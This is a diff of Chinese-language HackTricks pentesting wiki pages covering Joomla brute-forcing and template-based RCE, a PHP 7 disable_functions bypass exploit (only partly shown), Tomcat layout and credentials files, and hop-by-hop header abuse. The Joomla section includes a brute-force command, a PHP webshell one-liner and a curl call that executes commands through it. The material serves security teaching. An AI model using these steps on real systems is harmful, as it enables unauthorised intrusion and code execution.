您可以使用这个 [脚本](https://github.com/ajnik/joomla-bruteforce) 尝试暴力破解登录。
|
||||
```shell-session
|
||||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||||
|
||||
|
@ -127,13 +104,26 @@ admin:admin
|
|||
```
|
||||
## RCE
|
||||
|
||||
如果您成功获取了**管理员凭据**,您可以通过添加一小段**PHP代码**来在其中获得**RCE**。我们可以通过**自定义**一个**模板**来实现这一点。
|
||||
如果你成功获取了 **admin credentials**,你可以通过向 **模板** 添加一段 **PHP 代码** 来 **RCE**。我们可以通过 **自定义** 一个 **模板** 来实现这一点。
|
||||
|
||||
1. 在`Configuration`下方点击**`Templates`**以打开模板菜单。
|
||||
2. 点击一个**模板**名称。让我们选择`Template`列标题下的**`protostar`**。这将带我们到**`Templates: Customise`**页面。
|
||||
3. 最后,您可以点击一个页面以查看**页面源代码**。让我们选择**`error.php`**页面。我们将添加一个**PHP一行代码以获得代码执行**,如下所示:
|
||||
```php
|
||||
system($_GET['cmd']);
|
||||
```
|
||||
1. **点击** 左下角的 **`Templates`** 在 `Configuration` 下拉出模板菜单。
|
||||
2. **点击** 一个 **模板** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。
|
||||
3. 最后,你可以点击一个页面以拉取 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**,如下所示:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **保存并关闭**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# disable_functions绕过 - PHP 7.0-7.4(仅*nix)
|
||||
# disable\_functions bypass - PHP 7.0-7.4 (\*nix only)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中看到您的公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PHP 7.0-7.4(仅*nix)
|
||||
## PHP 7.0-7.4 (\*nix only)
|
||||
|
||||
来自[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||||
来自 [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
|
|||
exit();
|
||||
}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Tomcat基本信息
|
||||
# Basic Tomcat Info
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中做广告**?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,9 +23,9 @@
|
|||
|
||||
***
|
||||
|
||||
### 避免以root身份运行
|
||||
### 避免以 root 身份运行
|
||||
|
||||
为了避免以root身份运行Tomcat,一个非常常见的配置是在端口80/443上设置一个Apache服务器,如果请求的路径与正则表达式匹配,则将请求发送到在不同端口上运行的Tomcat。
|
||||
为了不以 root 身份运行 Tomcat,一个非常常见的配置是在 80/443 端口上设置一个 Apache 服务器,并且如果请求的路径与正则表达式匹配,请求将被发送到在不同端口上运行的 Tomcat。
|
||||
|
||||
### 默认结构
|
||||
```
|
||||
|
@ -49,14 +52,14 @@
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* `bin`文件夹存储启动和运行Tomcat服务器所需的脚本和二进制文件。
|
||||
* `conf`文件夹存储Tomcat使用的各种配置文件。
|
||||
* `tomcat-users.xml`文件存储用户凭据及其分配的角色。
|
||||
* `lib`文件夹保存Tomcat正确运行所需的各种JAR文件。
|
||||
* `logs`和`temp`文件夹存储临时日志文件。
|
||||
* `webapps`文件夹是Tomcat的默认Web根目录,托管所有应用程序。`work`文件夹充当缓存,用于在运行时存储数据。
|
||||
* `bin` 文件夹存储启动和运行 Tomcat 服务器所需的脚本和二进制文件。
|
||||
* `conf` 文件夹存储 Tomcat 使用的各种配置文件。
|
||||
* `tomcat-users.xml` 文件存储用户凭据及其分配的角色。
|
||||
* `lib` 文件夹包含 Tomcat 正常运行所需的各种 JAR 文件。
|
||||
* `logs` 和 `temp` 文件夹存储临时日志文件。
|
||||
* `webapps` 文件夹是 Tomcat 的默认 webroot,托管所有应用程序。`work` 文件夹充当缓存,用于在运行时存储数据。
|
||||
|
||||
预计`webapps`内的每个文件夹具有以下结构。
|
||||
`webapps` 内部的每个文件夹预计具有以下结构。
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -73,10 +76,10 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
最重要的文件之一是`WEB-INF/web.xml`,也被称为部署描述符。该文件存储了应用程序使用的路由信息以及处理这些路由的类。\
|
||||
应用程序使用的所有编译类都应存储在`WEB-INF/classes`文件夹中。这些类可能包含重要的业务逻辑以及敏感信息。这些文件中的任何漏洞都可能导致网站被完全攻陷。`lib`文件夹存储了该特定应用程序所需的库。`jsp`文件夹存储了[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages),以前被称为`JavaServer Pages`,可以与Apache服务器上的PHP文件进行比较。
|
||||
最重要的文件是 `WEB-INF/web.xml`,它被称为部署描述符。此文件存储 **应用程序使用的路由信息** 以及处理这些路由的类。\
|
||||
应用程序使用的所有编译类应存储在 `WEB-INF/classes` 文件夹中。这些类可能包含重要的业务逻辑以及敏感信息。这些文件中的任何漏洞都可能导致网站的完全妥协。`lib` 文件夹存储该特定应用程序所需的库。`jsp` 文件夹存储 [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages),以前称为 `JavaServer Pages`,可以与 Apache 服务器上的 PHP 文件进行比较。
|
||||
|
||||
以下是一个**web.xml**文件示例。
|
||||
这是一个 **web.xml** 文件的示例。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
|
||||
|
@ -94,17 +97,15 @@ webapps/customapp
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
```markdown
|
||||
上面的`web.xml`配置定义了一个名为`AdminServlet`的新servlet,映射到类`com.inlanefreight.api.AdminServlet`。Java使用点表示法来创建包名,这意味着上面定义的类在磁盘上的路径为:
|
||||
The `web.xml` 配置定义了一个 **名为 `AdminServlet` 的新 servlet**,它映射到 **类 `com.inlanefreight.api.AdminServlet`**。Java 使用点表示法来创建包名,这意味着上述定义的类在磁盘上的路径为:
|
||||
|
||||
- `classes/com/inlanefreight/api/AdminServlet.class`
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
接下来,创建了一个新的servlet映射,将请求映射到`/admin`与`AdminServlet`。这个配置将会将任何接收到的`/admin`请求发送到`AdminServlet.class`类进行处理。`web.xml`描述符包含了许多敏感信息,是在利用本地文件包含(LFI)漏洞时需要检查的重要文件。
|
||||
接下来,创建一个新的 servlet 映射,以 **将请求映射到 `/admin` 与 `AdminServlet`**。此配置将把收到的任何 **`/admin`** 请求发送到 `AdminServlet.class` 类进行处理。 **`web.xml`** 描述符包含大量 **敏感信息**,在利用 **Local File Inclusion (LFI) 漏洞** 时,这是一个重要的文件需要检查。
|
||||
|
||||
### tomcat-users
|
||||
|
||||
`tomcat-users.xml`文件用于允许或禁止访问`/manager`和`host-manager`管理页面。
|
||||
```
|
||||
**`tomcat-users.xml`** 文件用于 **允许** 或拒绝访问 **`/manager` 和 `host-manager` 管理页面**。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -145,9 +146,9 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
文件显示了每个角色`manager-gui`、`manager-script`、`manager-jmx`和`manager-status`提供的访问权限。在这个示例中,我们可以看到一个名为`tomcat`,密码为`tomcat`的用户具有`manager-gui`角色,另外一个弱密码`admin`被设置给了用户账户`admin`
|
||||
该文件向我们展示了每个角色 `manager-gui`、`manager-script`、`manager-jmx` 和 `manager-status` 提供的访问权限。在这个例子中,我们可以看到用户 `tomcat` 的密码是 `tomcat`,并且该用户具有 `manager-gui` 角色,而用户账户 `admin` 设置了第二个弱密码 `admin`。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
|
@ -157,14 +158,17 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中被宣传**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,60 @@
|
|||
# hop-by-hop headers
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
**这是一篇关于[https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)的文章摘要**
|
||||
|
||||
跳跃头部是特定于单个传输级连接的头部,在HTTP/1.1中主要用于在两个节点之间(如客户端-代理或代理-代理)管理数据,并且不应转发。标准的跳跃头部包括`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`和`Proxy-Authenticate`,如[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)中定义。通过`Connection`头部,可以将其他头部指定为跳跃头部。
|
||||
|
||||
### 滥用跳跃头部
|
||||
代理不正确处理跳跃头部可能导致安全问题。虽然预期代理会删除这些头部,但并非所有代理都会这样做,从而产生潜在的漏洞。
|
||||
|
||||
### 测试跳跃头部处理
|
||||
可以通过观察服务器响应的变化来测试跳跃头部的处理,当特定头部被标记为跳跃头部时。工具和脚本可以自动化此过程,识别代理如何管理这些头部,并可能发现配置错误或代理行为。
|
||||
|
||||
滥用跳跃头部可能导致各种安全问题。以下是一些示例,演示了如何操纵这些头部进行潜在攻击:
|
||||
|
||||
### 使用`X-Forwarded-For`绕过安全控制
|
||||
攻击者可以操纵`X-Forwarded-For`头部来绕过基于IP的访问控制。此头部通常由代理使用来跟踪客户端的原始IP地址。但是,如果代理将此头部视为跳跃头部并在没有适当验证的情况下转发它,攻击者可以伪造其IP地址。
|
||||
|
||||
**攻击场景:**
|
||||
1. 攻击者向代理后面的Web应用程序发送HTTP请求,包括在`X-Forwarded-For`头部中放入虚假IP地址。
|
||||
2. 攻击者还包括`Connection: close, X-Forwarded-For`头部,促使代理将`X-Forwarded-For`视为跳跃头部。
|
||||
3. 配置不正确的代理将请求转发给Web应用程序,而不包含伪造的`X-Forwarded-For`头部。
|
||||
4. Web应用程序看不到原始的`X-Forwarded-For`头部,可能将请求视为直接来自受信任代理,从而可能允许未经授权的访问。
|
||||
|
||||
### 通过跳跃头部注入进行缓存投毒
|
||||
如果缓存服务器根据跳跃头部不正确地缓存内容,攻击者可以注入恶意头部来投毒缓存。这将向请求相同资源的用户提供不正确或恶意内容。
|
||||
|
||||
**攻击场景:**
|
||||
1. 攻击者发送带有不应缓存的跳跃头部的请求到Web应用程序(例如`Connection: close, Cookie`)。
|
||||
2. 配置不良的缓存服务器不会删除跳跃头部,并缓存特定于攻击者会话的响应。
|
||||
3. 请求相同资源的未来用户接收到缓存响应,该响应是为攻击者定制的,可能导致会话劫持或敏感信息泄露。
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**这是对帖子 [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) 的总结**
|
||||
|
||||
Hop-by-hop headers 是特定于单个传输级连接的,主要用于 HTTP/1.1 中管理两个节点(如客户端-代理或代理-代理)之间的数据,并不打算被转发。标准的 hop-by-hop headers 包括 `Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization` 和 `Proxy-Authenticate`,如 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) 中所定义。可以通过 `Connection` 头将其他头指定为 hop-by-hop。
|
||||
|
||||
### 滥用 Hop-by-Hop Headers
|
||||
代理对 hop-by-hop headers 的不当管理可能导致安全问题。虽然代理应该删除这些头,但并非所有代理都这样做,从而产生潜在的漏洞。
|
||||
|
||||
### 测试 Hop-by-Hop Header 处理
|
||||
可以通过观察在特定头被标记为 hop-by-hop 时服务器响应的变化来测试 hop-by-hop headers 的处理。工具和脚本可以自动化此过程,识别代理如何管理这些头,并可能发现配置错误或代理行为。
|
||||
|
||||
滥用 hop-by-hop headers 可能导致各种安全隐患。以下是几个示例,演示如何操纵这些头以进行潜在攻击:
|
||||
|
||||
### 通过 `X-Forwarded-For` 绕过安全控制
|
||||
攻击者可以操纵 `X-Forwarded-For` 头以绕过基于 IP 的访问控制。此头通常由代理用于跟踪客户端的原始 IP 地址。然而,如果代理将此头视为 hop-by-hop 并在没有适当验证的情况下转发它,攻击者就可以伪造他们的 IP 地址。
|
||||
|
||||
**攻击场景:**
|
||||
1. 攻击者向位于代理后面的 Web 应用程序发送 HTTP 请求,在 `X-Forwarded-For` 头中包含一个虚假的 IP 地址。
|
||||
2. 攻击者还包括 `Connection: close, X-Forwarded-For` 头,促使代理将 `X-Forwarded-For` 视为 hop-by-hop。
|
||||
3. 配置错误的代理将请求转发到 Web 应用程序,而没有伪造的 `X-Forwarded-For` 头。
|
||||
4. Web 应用程序没有看到原始的 `X-Forwarded-For` 头,可能会将请求视为直接来自受信任的代理,从而可能允许未授权访问。
|
||||
|
||||
### 通过 Hop-by-Hop Header 注入进行缓存中毒
|
||||
如果缓存服务器错误地根据 hop-by-hop headers 缓存内容,攻击者可以注入恶意头以毒化缓存。这将向请求相同资源的用户提供不正确或恶意的内容。
|
||||
|
||||
**攻击场景:**
|
||||
1. 攻击者向 Web 应用程序发送请求,包含一个不应被缓存的 hop-by-hop 头(例如,`Connection: close, Cookie`)。
|
||||
2. 配置不当的缓存服务器未删除 hop-by-hop 头,并缓存了特定于攻击者会话的响应。
|
||||
3. 未来请求相同资源的用户接收到缓存的响应,该响应是为攻击者量身定制的,可能导致会话劫持或敏感信息泄露。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
# 依赖混淆
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
